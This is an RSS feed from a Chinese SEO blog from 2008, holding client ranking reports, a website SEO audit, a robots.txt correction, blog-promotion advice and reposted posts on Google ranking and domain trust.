<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[烟台SEO-烟台网站优化-SEO服务-0535SEO-佛缘的SEO]]></title>
<link>http://www.0535seo.com.cn/</link>
<description><![CDATA[烟台SEO,SEO测试,专业的SEO服务,提供烟台企业网站SEO优化,SEO优化实验室]]></description>
<language>zh-cn</language>
<copyright><![CDATA[烟台SEO-佛缘SEO]]></copyright>
<webMaster><![CDATA[77uc@sina.com(佛缘)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>烟台SEO-烟台网站优化-SEO服务-0535SEO-佛缘的SEO</title>
	<url>http://www.0535seo.com.cn/images/logos.gif</url>
	<link>http://www.0535seo.com.cn/</link>
	<description>烟台SEO-烟台网站优化-SEO服务-0535SEO-佛缘的SEO</description>
</image>

			<item>
			<link>http://www.0535seo.com.cn/article/292.htm</link>
			<title><![CDATA[光生物反应器 | 生物反应器 | 发酵罐 | 烟台高新区海洋生物工程研究所]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Wed,03 Dec 2008 09:44:12 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=292</guid>
		<description><![CDATA[本科研所是自主研制、开发、生产自控（光）生物反应器（发酵罐）、光照反应器、反应釜、光合细菌及虾青素等的高新技术企业！同时也是我国少数几家早期从事海洋生物工程研究与开发的科研技术企业之一；本科研所自主科研技术开发力量雄厚，设有两处发酵设备生产加工制造基地（其中烟台木村化工机械基地生产大、中型发酵罐，最大容积为160立方米）。同时依托山东省<br/>烟台大学、青岛海洋大学的生物技术实验室为本所科研开发及试验测试基地！本科研所自行研制生产的GBR系列自控生物反应器，已于1993年通过了山东省科委的技术专家鉴定..]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/291.htm</link>
			<title><![CDATA[烟台三缘置业有限公司SEO优化服务]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Fri,10 Oct 2008 06:56:18 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=291</guid>
		<description><![CDATA[烟台房产网 46 名 34 名 百度 66.7% 9月17日 <br/>烟台房产信息 36 名 23 名 百度贴吧 13.3% 9月17日 <br/>烟台房产在线 23 名 14 名 Google 6.7% 9月17日 <br/>烟台房产中介 75 名 66 名 网易有道 未有搜索 9月17日 <br/>烟台别墅温泉 1 名 5 名 腾讯SoSo 6.7% 9月17日 <br/>烟台温泉别墅 1 名 5 名 搜狐搜狗 未有搜索 9月17日 <br/>烟台三缘置业有限公司 1 名 1 名 MSN&amp;Live 未有搜索 9月17日 <br/>烟台别墅 21 名 57 名 雅虎 6.7% 9月17日 <br/>温泉联体别墅 73 名 6 名 中国搜索 未有搜索 9月17日 <br/>温泉小镇 24名 起始排名&nbsp;&nbsp;&nbsp;&nbsp; 9月17日 <br/>昆嵛山旅游度假村 1名 起始排名&nbsp;&nbsp;&nbsp;&nbsp; 9月17日 <br/>龙泉汤 16名 起始排名&nbsp;&nbsp;&nbsp;&nbsp; 9月17日 <br/>烟台别墅网 25名 起始排名&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>烟台房产中介网 28名 起始排名 <br/><br/>客户终止服务.....................................[优化未完成]<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/290.htm</link>
			<title><![CDATA[烟台北大青鸟[www.qnit.cn]网站SEO分析报告]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Fri,10 Oct 2008 06:52:58 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=290</guid>
		<description><![CDATA[烟台北大青鸟[www.qnit.cn]网站SEO分析报告<br/>1.&#160;&#160;&#160;&#160;当前网站状况<br/>（1）&#160;&#160;&#160;&#160;IP：202.102.135.86 （烟台网通）<br/>（2）&#160;&#160;&#160;&#160;网站收录： 百度收录 171页 雅虎收录251页 谷歌收录 103页 搜狗收录 283页<br/>（3）&#160;&#160;&#160;&#160;PR值：4 搜狗评级：40<br/>（4）&#160;&#160;&#160;&#160;ALEXA排名：3511684位<br/><br/>2.&#160;&#160;&#160;&#160;网站当前存在问题以及改进意见<br/>（1）&#160;&#160;&#160;&#160;网站整体效果极差，用户适用度很低建议修改去掉多余的客服程序提高网站访问速度。<br/>（2）&#160;&#160;&#160;&#160;网站META标签混乱优化不足，Meta标签在百度和谷歌中都有效果 现在Meta中有很多无用的关键词。<br/>（解决方案：对于内容页面，将Keywords,description设置和标题一样，精简网站说明）<br/>（3）&#160;&#160;&#160;&#160;关键词混乱，核心关键词不突出未定位关键词。<br/>（解决方案：建立关键词库，内容为关键词对应的链接，必须保证每个关键词都有独立的链接，文章中出现关键词的地方，使用上述链接替换。增加网页的内部链接）<br/>（4）&#160;&#160;&#160;&#160;网站图片未进行修改与优化<br/>（解决方案：每个图片&lt;IMG&gt;标签中都有ALT属性，搜索引擎会读取该属性以了解图像的信息。因此最好在所有图片的 ALT属性中都有文字描述，并带上该页关键字在内）<br/>（5）&#160;&#160;&#160;&#160;首页优化不合理 Meta描述为<br/>北大青鸟烟台文化宫培训培训中心是胶东地区最早从事IT教育的培训机构，是山东地区首批北大青鸟APTECH计算机教育培训中心，也是山东地区综合实力最强的计算机培训机构，培训范围涉及整个软件开发领域，力争打造国内一流的IT培训学校。目前，众多毕业学员已经成功就业于韩国大宇，西班牙思迈普，荷兰飞迈等众多国内外知名企业。交通便利，教学环境优雅，教学管理严格，就业体系完善。是培训的首选！<br/>在百度搜索时表现：<br/>北大青鸟企业定向就业班紧急招生通告!! 媒体冲刺奥运 互联网后来居上或超越电视… [公告] 北大青鸟与哈尔滨工业大学合作办… 北大青鸟企业定向就业班紧急招生公告!! 430分以下的高考生以及家长注意 2007年IT培训市场北大青鸟APTECH力拔头筹 ...<br/>1.首页应该是介绍网站内容，而不是优化某些具体的关键词，这些词应该交给二级页面来优化。用户搜索时，是通过网站的简介来了解网站的，如果描述写的不具体，即使排名很高，也不能吸引用户进入网站的。<br/>2.内容页出现在首页对加快采集是非常有效的，但搜索引擎对首页的采集链接数量是有限的，所以对不进行推广的链接，广告链接等等都应该采用js、Iframe方式屏蔽，让更多的内容页能够被搜索引擎收录。<br/>3.页面布局使用Table时，嵌套页不要太多，否则里面的内容和链接可能不能被搜索引擎收录，首页很多地方页面嵌套在3层。<br/>（6）分类页面优化<br/>1.Keyword<br/>&lt;meta name=&#34;Keywords&#34; content=&#34;北大青鸟(烟台文化宫)授权中心,北大青鸟,培训，烟台it培训,it培训,北大青鸟,烟台北大青鸟&#34;&gt;描述错误。<br/>每个页面的关键词不要超过3个，否则页面的关键词密度将不能提高。<br/>1.&#160;&#160;&#160;&#160;Description<br/>&lt;meta name=&#34;Description&#34; content=&#34;北大青鸟烟台文化宫培训培训中心是胶东地区最早从事IT教育的培训机构，是山东地区首批北大青鸟APTECH计算机教育培训中心，也是山东地区综合实力最强的计算机培训机构，培训范围涉及整个软件开发领域，力争打造国内一流的IT培训学校。目前，众多毕业学员已经成功就业于韩国大宇，西班牙思迈普，荷兰飞迈等众多国内外知名企业。交通便利，教学环境优雅，教学管理严格，就业体系完善。是培训的首选！&#34;&gt;这个地方不能跟首页一样，<br/>提供的描述是网页的简介，应该简洁明了，吸引人。关键词不能集中出现在一个地方，要分散在网页的各个位置，描述内容不能太长，最好不要超过80个汉字，否则在收录的时候 后面的信息就被搜索引擎省略掉了。<br/>2..尽量减少页面大小以74Kb为最佳.<br/>6.友情链接管理<br/>1.尽量减少或者不用图片的链接方式采用文字形式，清除没有用的链接，精简代码，压缩网页大小<br/><br/>关键词优化根据统计来定，具体优化方案看了整站后才可以。暂时就这么多。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/289.htm</link>
			<title><![CDATA[搜索引擎排名等于什么----------企业站的优化]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Fri,05 Sep 2008 03:23:00 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=289</guid>
		<description><![CDATA[学习SEO已经快一年了学习了很多东西，交结了很多和我一样的草根站长，阿星 木头都做得很不错。<br/><br/>阿星做的厦门月饼www.minisem.cn/百度第一位 月饼估计吃了不少o(∩_∩)o...<br/>木头做的苏州SEOwww.demoseo.cn/百度第一位<br/><br/>当时的做的<a href="http://www.0535seo.com.cn" target="_blank">烟台SEO</a>也是百度第一位，很欣慰，可是后来网站被挂马，数据库损坏数据回档。。。。等问题到现在百度K了我的站，查找了很多原因，点石论坛上也有人发过，友情链接问题。我的一个连接的站被百度K了，导致我也被k,很是个郁闷。现在在尝试恢复，换了域名重新编辑了网站，更改了关键词。。。可是百度到现在也没有恢复我的站。可能是我的站原创内容不多吧，写好了每天一篇日志。o(∩_∩)o...看来很不错。<br/>这两天一直在上海SEO（<a href="http://www.seotest.cn/" target="_blank" rel="external">http://www.seotest.cn/</a>） 康GG那里看他写的博文，很有感触总想写些什么，可是老是理不清头绪。写多少算多少到时候在整理一下就OK了。发发牢骚。<br/><br/>事情起因是我的 一个优化客户。<br/><br/>指定了9个关键词 相关页面数量50万左右,优化结果百度前三,可日IP20左右,IP来源百度关键词76%,查看关键词有效果的只有3个,网站回馈量很少，公司BOSS很生气后果很严重，￥￥￥￥到现在没收到汗啊！！！<br/><br/>在家闷头考虑抽了N包烟后想想好像不是我的问题，关键词客户指定的，优化目标已经达到，但是为什么效果这么差呢，我的其他的客户2个百度首页的关键词带来N笔单子，询盘率很高，BOSS很满意同样的框架同样的排名为什么效果天差地别呢。<br/><br/>考虑半天一个结论，企业站不需要过多的 IP没个P用，引用个例子<br/><br/><span style="color:Navy"><strong>我有个客户是做动物营养保健品的企业，当初我为他做了很多免费推广，他网站日流量也达到了至少800次/日，老板很开心每天800人参观我公司何其愉快，后来分析才发现他们是个非常专业的行业，每天真正的目标群浏览者有10个就定位很不错了，如何把800降成真正有效的100以内的精确目标然后再进行定向打击（“扩”只是SEO的第一步，有效的“缩”才是SEO的最终目的）？我们从很多方面展开分析，发现对欧美市场更多畜牧业主关注的是把肥鸡变成巨无霸肥鸡，而非洲、东南亚市场关注的是如何让鸡长大脱手前不死。前者是营养保健，后者是医疗药品，两者的关键字随市场的转变而转变，同时最初我们选定的关键字“动物营养保健品”通过网络分析的相关工具分析出，发来E-MAIL和寻盘的客户都没使用这些关键字，别人都是从专业网站上或者该药物的元素结构“XXXX酶素”而搜索到的该网站，并且这些客户进入他们保健品竞争对手的网站也是这些关键字（但他们都只在搜索引擎排名上你追我赶）。而这些冷门字才是真正符合市场而非老板一个人坐在办公室里想出的企业关键字，当我们修改后我们在GOOGLE和YAHOO，MSN以及其他外联渠道上的排名急剧下降，但寻盘和E-MAIL反而急剧上升后，我当晚失眠了......想了很多很多</strong></span><br/><br/><br/>排名并不等于一切，IP也不是王道，企业站不需要好的内容，只需要好的产品。<br/><br/>反过头来考虑（传说中的换位思考）<br/><br/>我想买月饼----百度一下---【厦门月饼】---看看 ---不错---开始询问价格---价格合适--付款<br/><br/>无非是这样的流程<br/><br/>分解开来看：<br/><br/>我想买月饼----百度一下---厦门安德鲁森月饼 【<strong>关键词 厦门&nbsp;&nbsp;安德鲁森月饼 </strong>】<br/><br/>客户动机是想买月饼----采用了百度这个牛逼的工具--避开浩瀚如大海的讯息精确定向访问到了厦门月饼<br/><br/>【<strong>SEO在这里充当了至关重要的一步（布袋里的锥子显现出你来）怎么出来自己想办法】</strong><br/> <br/>我们SEO通常只想到只需要这么一步，客户就跟看光屁股的美女似的蜂拥而至。订单雪花似的飞来。<br/><br/>我们只想到这，走到这步只需要 关键词优化----定向的优化<br/><br/>可是想没有想过<br/><br/>我想买月饼----百度一下---【厦门月饼】---看看 ---雷人【或许只走到这步】---开始询问价格---价格黑人--<br/><br/>晕菜闪人<br/><br/>所以企业的SEO优化要了解客户的心里，了解企业行业的信息，了解BOSS的意图【BOSS女秘书的意愿】<br/><br/>好。客户来了--进来了 怎么让客户觉得产品就跟光屁股的美女似的，觉得前20 前200个网站白看了。这就<br/><br/>需要对网站进行框架，美工。。。。。进行修改。行业的话叫包装-------【把网站包装成光屁股的美女】 <br/><br/>让客户进来赏心悦目，心旷神怡【怎么做我也不说了----搁俩光屁股的美女最好^_^】<br/><br/>引用：<a href="http://www.seotest.cn/blog/seo-not-all.html" target="_blank" rel="external">http://www.seotest.cn/blog/seo-not-all.html</a><br/><span style="color:Red"><strong><br/>网络不是一个技术，而是一个市场，关键在于如何使你的目标群体更有效精准的搜索到非常适合他的<br/><br/>“你”。任何一个投资人都不在意投入和你的技术，而是你所为他创造的价值或回报率。</strong></span><br/><br/>总结下：<br/><br/>要让网站订单多，询盘高--如下步骤<br/><br/>SEO关键词优化----网站客户适用度修改----了解产品和所处行业详细的资料 这些都是希希相关的<br/><br/>SEO关键词优化【优化那些关键词 需要对产品和所处行业详细的了解不断的修改关键词到最佳效果】<br/><br/>网站客户适用度修改【关键词优化好了客户来了想着法把客户留下---怎么让他们心甘情愿掏钱不在咱们考虑<br/><br/>范围】<br/><br/>解产品和所处行业详细的资料【对关键词优化网站修改都有好处---对要钱也有好处o(∩_∩)o...】<br/><br/><br/>啰嗦这么多能看懂就看看，看不懂闪人。希望高手门多多指教 李彦宏来了叫我，先把我站恢复再说<br/><br/><br/><br/><br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/288.htm</link>
			<title><![CDATA[PJBLOG 小心你的robots.txt ]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Fri,05 Sep 2008 01:42:46 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=288</guid>
		<description><![CDATA[今天在用GOOGLE管理员工具的时候，提示我<br/> 分析 robots.txt <br/>www.0535seo.com.cn robots.txt 网址 <a href="http://www.0535seo.com.cn/robots.txt" target="_blank" rel="external">http://www.0535seo.com.cn/robots.txt</a> <br/>最新下载 20 小时前 <br/>状态 200 （成功） 帮助&nbsp;&nbsp; <br/><br/>分析结果 值 结果 <br/>行 9 :&nbsp;&nbsp;&lt;sitemap_location&gt;/sitemap.asp&lt;/sitemap_location&gt; 语法有误 <br/><br/>所以赶紧查看了一下自己的robots.txt <br/>代码如下：<br/>User-agent: *<br/><br/>Disallow: /404.asp<br/>Disallow: /blog*.asp<br/>Disallow: /register.asp<br/>Disallow: /login.asp<br/>Disallow: /search.asp<br/><br/>&lt;sitemap_location&gt;/sitemap.asp&lt;/sitemap_location&gt;<br/><br/>然后删除了&lt;sitemap_location&gt;/sitemap.asp&lt;/sitemap_location&gt;<br/>觉得Disallow: /blog*.asp 是不是也有问题，与blog*相关的发现一个是数据库目录，另几个是重要文件，突然发现BlogLink.asp，是友情链接页面，不对啊，连这个都屏蔽？肯定是个BUG。如果有些人没有在首页或内容页放入友情链接，恰巧被安排到只在bloglink.asp页面显示，那这个链接还有什么意义？那忌不是是个友情链接陷阱？<br/>删除马上删除，然后查看了下自己的友情链接，也发现了不少！提醒一下吧！<br/><br/>修改后代码：<br/>User-agent: *<br/><br/>Disallow: /404.asp<br/>Disallow: /register.asp<br/>Disallow: /login.asp<br/>Disallow: /search.asp<br/><br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/287.htm</link>
			<title><![CDATA[博客网站从创建到推广方法]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Fri,29 Aug 2008 23:58:25 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=287</guid>
		<description><![CDATA[博客（Blog）英文名是Web log，中文就“网络日志”，后来缩写为Blog，而Blogger就是写Blog的人。广益上讲，就是记录自己生活、工作、见闻、想法的一种网络笔记本。 博客启始于1997年，到目前已经有了11年的历史，Blog用途广泛，目前谈的就是Seoer惜缘Blog推广经历步骤, 我博客的初衷就是把工作中的经验体会无偿分享予大家，也希望大家多光顾支持本博客。<br/><br/>目前用Blog的站友已经数千万了，有的名人博客访问量都快2亿了，怎样让你的Blog从创建到受人关注，访问量增加，下面我就于大家徐徐道来博客网站创建到推广方法。<br/><br/>第一步，选择域名<br/><br/>创建自己的博客,为了长期的推广要起个有创意的名字，可以是自己名字的全拼、缩写、小名、乳名等，就像树立自己的品牌，要有意义、内涵、响亮、易记等，尽可能的要简短，便于访客的记忆与口碑宣传.<br/><br/>第二步，博客空间<br/><br/>要开通博客，一定要选择稳定的服务器空间，要选择稳定的、安全性高、网速流畅、信誉好、有实力的服务器商，虽然价格上可能与传统的服务器价格上有点差距，但为了博客的访客人群与以后搜索引擎的抓取信息，还是值得去做的。<br/><br/>第三步，选择程序<br/><br/>目前博客系统网上有很多开源的，省去了开发代码的麻烦，主流的博客系统程序有Z-blog与WordPress,相对于Z-blog是咱国内开发的，全站生成静态，设计标准，很多网站插件，还有不少免费的模板提供免费下载，深受国内BLOGER的喜欢。<br/><br/>第四步，博客定位<br/>你是用博客记录的你生活还是工作，确定下来，这点很重要，这点区别于以后防问你博客的人群是哪些，写好你的博客，树立你自己的品牌形象。定位的准确与否直接会影响到博客将来的发展空间与访问人群，即要明白你的文章主要是给谁看的，所以这点要三思而后行。<br/><br/>第五步，内容为王<br/>经过了上述的步骤，你的博客算正式安家了，下面就开始完善你的博客，添加内容。有质量的内容是留住访客的法宝，内容你是要写的生动、还是专业、还是内涵、还是有深度等等，就取决于你的水平了，有质量的内容，是牵引访客的关键，如果你写的好，写的精，酒香不怕巷子深，慢慢的会网聚很多人气，吸引很多眼球，想成为博客中的精英还是草根，就取决于你自己了，精英不是吹出来的，而是练出来的，当精英还是草根，那还是写了算.谁的文章写的够好，够专业，够吸引人，经常更新，这才是致胜的关键。<br/><br/>第六步，博客推广<br/>博客总算投入运营，剩下的就差宣传推广了，下面谈谈博客网站推广几种方法：<br/><br/>1、提交你的博客收录<br/><br/>　　百度博客提交: <a href="http://utility.baidu.com/blogsearch/submit.php" target="_blank" rel="external">http://utility.baidu.com/blogsearch/submit.php</a><br/> <br/>　　Souyo博客搜索:<a href="http://www.souyo.com/guide/addblog.htm" target="_blank" rel="external">http://www.souyo.com/guide/addblog.htm</a><br/><br/>　　中文Blog目录集: <a href="http://www.cnblog.org/rings/submit.asp" target="_blank" rel="external">http://www.cnblog.org/rings/submit.asp</a><br/><br/>　　周博通: <a href="http://www.potu.com/index" target="_blank" rel="external">http://www.potu.com/index</a><br/><br/>　　Google：<a href="http://www.google.com/intl/zh-CN/add_url.html" target="_blank" rel="external">http://www.google.com/intl/zh-CN/add_url.html</a><br/><br/>　　雅虎中国：<a href="http://search.help.cn.yahoo.com/h4_4.html" target="_blank" rel="external">http://search.help.cn.yahoo.com/h4_4.html</a><br/><br/>　　FeedSky提交博客: <a href="http://www.feedsky.com" target="_blank" rel="external">http://www.feedsky.com</a><br/><br/>　　搜狗(SoGou)：<a href="http://www.sogou.com/feedback/blogfeedback.php" target="_blank" rel="external">http://www.sogou.com/feedback/blogfeedback.php</a><br/><br/>　　有道(YoDao)：<a href="http://tellbot.yodao.com/" target="_blank" rel="external">http://tellbot.yodao.com/</a><br/><br/>　　Live Search：<a href="http://search.msn.com/docs/submit.aspx" target="_blank" rel="external">http://search.msn.com/docs/submit.aspx</a><br/><br/>2、RSS推广订阅代码<br/>RSS订阅,相较于传统上对订阅的理解，比如我预定了什么期刊，邮局会定期给我送来。RSS订阅则类似，我添加新的内容，就会生成新个Rss，只要它一有更新，就能方便订阅最新的内容。<br/><br/><br/>3、访问别人的网站<br/>多去别人的博客踩踩，留下你对别人日志的评价，留下联系方式网址，别人有时也会回访，看看你写的怎么样，正所谓人人为我，我为人人，你关注别人的，别人同样也会对你投来关注的目光。<br/><br/><br/>4、友情链接推广<br/>交换友情链接，就相当于把网站的访问的人群资源共享，别人在访问他人网站的同时，有可能进入你的网站，有点像广告性质一样，在别人网站上相互交换广告，这种链接互换，还是SEO推广的一种方法之一.<br/><br/><br/>5、发送垃圾邮件、写软文、搞信息群发，宣传你的博客，这点短时间可能能拉些流量，不过对你网站的形象有损影响，不建议使用。<br/><br/><br/>6、就是广告投放，花些钱去别人的网站投放广告，有时可能带来超额的效果，有时也可能适得其反，投了广告没什么效果，引不来流量。<br/><br/>根据以上博客六步骤,相信你的博客网站从创建到宣传策略基本完成都完成了，Bloger的路还很长，以后的路怎么走,就要靠你的思路和创新意识了。希望写了这么多能够对你有所帮助，祝你的博客访问量大增，一夜成名。<br/><br/>SEO顾问: Seoer惜缘 原载网址: <a href="http://www.noseo.org.cn/" target="_blank" rel="external">http://www.noseo.org.cn/</a><br/>版权所有。转载时必须以链接形式注明作者和原始网址及本声明<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/286.htm</link>
			<title><![CDATA[08年Google排名算法解密]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Fri,29 Aug 2008 23:50:33 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=286</guid>
		<description><![CDATA[<p>Google对排名算法一直都比较保密，主要原因有两条：竞争及防止被滥用。</p>
<p><a href="http://www.chinamyhosting.com/seoblog/category/google/"><font color="#000066">Google排名</font></a>算法的细节是Google皇冠上的珍珠，我们以它为傲，并且非常注意保护。但是完全保密有时候也不是理想状况，所以Udi Manber等人决定与站长多沟通，谈一谈有什么新鲜事，解释一些老的内容，给点建议，参与对话等。这篇帖子是第一篇，以后还会有其他内容。</p>
<p>这个部门的心脏是核心排名小组。排名是相当困难的，比大部分人所想象的更困难。其中一个原因是语言都是模棱两可的，文件也没有任何规则，怎样理解信息没有标准。所以我们需要理解任何人，因为任何原因所写的任何网页。这只是一部分。我们还需要理解用户的查询，再将查询投射到我们所理解的文件上。更不要说不同的人有不同的需求。而且我们需要在几毫秒之内完成这一切。</p>
<p>Google排名算法最出名的部分就是<a href="http://www.chinamyhosting.com/seoblog/2006/04/08/google-pr/"><font color="#000066">PageRank</font></a>。PR现在还在使用中，不过已经是一个更大的一系统中的一部分。其他部分还包括语言模块（处理短语，同义词，方言，拼写错误等的能力），查询模块（不仅仅是语言，还包括人们怎样使用语言），时间模块（有的查询返回一个30分钟前刚创作的网页最合适，有的时候返回已经存在很长时间的网页更合适），个性化模块（不是每个人都需要相同的东西）。</p>
<p>另外一个组负责评估我们做的怎样。目标是改善用户体验，这不是主要目标，而是唯一的目标。有每分钟进行的自动评估，阶段性整体质量评估，更重要的还有个别算法调整的评估。当某个工程师有个好主意，开发一个新算法后，我们对这个主意进行测试。一组统计学家会检查数据，确定这个新主意的价值。</p>
<p>2007年，我们做了450次以上的调整，差不多每个星期9次。比如今年1月份，我们对PR算法做了大幅调整。大多数时间我们都是寻找相关性改善的方法，有时我们也致力于简化算法，简单就是好的。（Zac的注释：关于简化算法这句话，是紧接着PR算法调整之后说的，不确认他是讲简化了PR算法，还是说笼统的对算法的简化。我的感觉是PR算法确实有了很大的改变。给我的感觉是，基本上给我们看的工具条PR是不准的，尤其很多该有PR值得内页显示PR为零。也许这就是Udi Manber所说的算法简化造成的。）</p>
<p>在过去两年中，国际搜索是我们的主要焦点之一，包括所有的语言，而不仅限于主要语言。</p>
<p>另外一个小组专门负责新功能和用户界面。Google的用户搜索界面相当简单，当我们增加新功能时，尽量确保对用户来说是简单易用的。在过去一年中，主要的改变包括<a href="http://www.chinamyhosting.com/seoblog/2007/10/10/universal-search/"><font color="#000066">通用搜索</font></a>，<a href="http://www.chinamyhosting.com/seoblog/2006/05/17/google-notebook/"><font color="#000066">Google Notebooks</font></a>，<a href="http://www.chinamyhosting.com/seoblog/2006/11/07/cse/"><font color="#000066">自定义搜索引擎</font></a>以及iGoogle的改进。用户界面小组有一组易用性专家，在辅助研究用户及评估新功能。</p>
<p>还有一个小组专注于反垃圾和其他各种被滥用的技巧，这也就是Matt Cutts所负责的小组。这个组识别新的垃圾技术，并且以可扩展的方式克服这些垃圾。和其他组一样，这个组也是要处理国际多语种。反垃圾组与<a href="http://www.chinamyhosting.com/seoblog/2006/10/19/google-tools/"><font color="#000066">Google站长工具</font></a>组紧密配合。</p>
<p>还有其他专门的项目组。整体来说我们的组织结构相当非正式，人员调动频繁，新项目也随时开始。</p>
<p class="postmetadata">&nbsp;</p>
<div class="author">作者: <a href="http://www.chinamyhosting.com/seoblog/"><font color="#000066">Zac@SEO每天一贴</font></a><br />
原载: <a href="http://www.chinamyhosting.com/"><font color="#000066">中新虚拟主机</font></a><br />
版权所有。转载时必须以链接形式注明作者和原始出处及本声明。</div>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/285.htm</link>
			<title><![CDATA[怎样做出一个被信任的域名？]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Fri,29 Aug 2008 23:45:19 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=285</guid>
		<description><![CDATA[<div class="entry">
<p>昨天谈了<a href="http://www.chinamyhosting.com/seoblog/2008/06/02/trusted-domain/"><font color="#000066">域名信任度</font></a>的问题，提高域名信任度的最主要因素包括三个，来自其他信任度高的域名的链接，域名历史及内容原创和更新。有朋友留言说，那新站不是就不要活了？当然不是。</p>
<p>除了域名历史我们无能为力之外，链接和内容都是我们可以努力的。不过要做成一个被用户和搜索引擎信任的域名，没有捷径，就只有踏踏实实做好内容。看了标题，想找窍门和捷径的读者，可能会失望了。就我所见，踏踏实实做好内容是唯一的方法。</p>
<p>经常看到有人在论坛问，排名怎么就是做不上去？怎么才能和大网站大品牌竞争？依目前Google的算法（我相信百度雅虎也同样考虑域名信任度因素），新网站确实没有和老网站，大网站，信任度高的网站竞争的机会。</p>
<p>但这不意味着永远没有机会，站长要做的就是坚持原创，坚持提供对用户有益的内容，持之以恒，必将有效果。</p>
<p>有时候看到朋友问，已经做站几个月了，为什么排名还是上不去？我实在不知道说什么好。如果是一个竞争小的词，那可能是做站有问题。如果是竞争不弱的行业，问问自己，凭什么一个几个月的网站，就应该排到前面？</p>
<p>每个站都是从新从小开始的。我的<a href="http://www.chinamyhosting.com/seoblog/"><font color="#000066">SEO每天一贴</font></a>，虽然是小站，我感觉在SEO这个领域算有一定的域名信任度。与SEO相关的一些词，总能在搜索引擎里找到我博客的一些帖子。而且除了<a href="http://www.chinamyhosting.com/seoblog/2008/04/14/blog-links/"><font color="#000066">内部链接</font></a>以外，这些帖子也没有什么刻意优化。今天这个域名所具有的一定信任度，是两年以来400篇原创帖子带来的。除了前几天转载一篇地震的帖子，其他每一篇都是我辛辛苦苦写出来的绝对原创。</p>
<p>点石也是一样。</p>
<p>坚持原创，坚持积累，过一段时间，网站会有一个质的飞跃。或者换个角度说，富的更富，穷的更穷。有了信任度，内页就更容易得到排名，看到的人就更多，得到的链接也多，信任度就更高。</p>
<p>这和生活中是一样的，已经被大家承认的权威说话，和名不见经传的人说话，效果就是不同，虽然可能说的是完全同样的一句话。我就试过在点石论坛中用其他帐号发言，效果与用我自己的帐号发言相差十万八千里。（我在点石也有马甲，哈哈！ <img class="wp-smiley" alt=":-)" src="http://www.chinamyhosting.com/seoblog/wp-includes/images/smilies/icon_smile.gif" /> )</p>
<p>域名信任度不是从一开始就有，都是从一点一滴慢慢积攒出来的。记住我这句话，做一个真正被信任的网站，没有捷径，只有花时间辛苦做内容。花的时间不是按月计，而是按年计。</p>
<p class="postmetadata">&nbsp;</p>
</div>
<div class="author">作者: <a href="http://www.chinamyhosting.com/seoblog/"><font color="#000066">Zac@SEO每天一贴</font></a><br />
原载: <a href="http://www.chinamyhosting.com/"><font color="#000066">中新虚拟主机</font></a><br />
版权所有。转载时必须以链接形式注明作者和原始出处及本声明。</div>
<p><br />
<span style="color: #ff0000"><strong>1)域名没有绝对的好坏，时间是见证网站生命力和价值的一个重要参数。<br />
2)做好网站要想着用户，做出来的内容要质量高，并且坚持原创，来源于自己的实践经验或者自己的分析思考。<br />
3)对于新的小网站，选对行业很重要，竞争激烈的行业你想在1个月或者3个月做到第一页很不容易，比如说虚拟主机行业竞争很激烈，而做相对冷门的行业，填补空白，那么做下去排名较好的可能性自然加大了。<br />
4)做网站的方式和内容背后体现了master的品质，价值观等方面的东西。</strong>&nbsp;</span></p>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/284.htm</link>
			<title><![CDATA[Matt Cutts在SMX2008大会问答]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Fri,29 Aug 2008 23:38:19 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=284</guid>
